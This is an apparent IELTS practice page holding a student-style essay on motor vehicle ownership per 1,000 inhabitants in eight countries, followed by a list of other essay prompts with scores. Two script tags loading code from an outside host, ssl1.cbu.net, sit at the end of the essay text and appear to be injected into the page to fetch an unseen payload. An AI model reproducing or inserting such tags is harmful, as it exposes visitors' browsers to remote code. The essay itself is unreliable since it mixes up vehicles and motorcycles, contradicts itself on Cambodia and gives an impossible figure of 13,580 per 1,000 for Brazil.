The table below shows the number of motor vehicles per 1,000 inhabitants in eight countries in 1990 and 2000.
The table illustrates the number of motorcycle users per 1000 inhabitants in eight different nations from 1990 to 2000.
Overall, Cambodia was the smallest while the number of Luxembourg users was the highest in 1990. In the years of 2000, Cambodia fluctuated and remained the smallest country, while Brazil showed the greatest growth and reached the peak of the period.
To begin with, the Bahamas declined over the period from 235 to 187. Chile and New Zealand experienced an upward trend throughout the period. Started at 68 and 531 but they increased gradually to 88 and 557 in 2000.
Cambodia had the same pattern for the whole period with figures at 1 motor vehicle per 1000 inhabitants. The number of people using motorbikes in Brazil grew sharply from 55 to 13580 in the year 2000, the highest figure over the period. Jordan, Luxembourg and Romania increased gradually between 1990 and 2000.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- The advantages of the spread of English as a global language will continue to outweigh its disadvantages To what extent do you agree or disagree 56
- Team activities can teach more skills for life than those activities which are played alone To what extent do you agree or disagree 56
- The plans below show a public park when it first opened in 1920 and the same park today Summarise the information by selecting and reporting the main features and make comparisons where relevant Write at least 150 words 56
- In many nations people in huge cities either live alone or in small family units instead of in large extended family groups Is this a positive or negative trend 61
- The chart below shows information about fuel used in the transport sector in different countries in Europe compared to the EU average in 2009 and 2010 67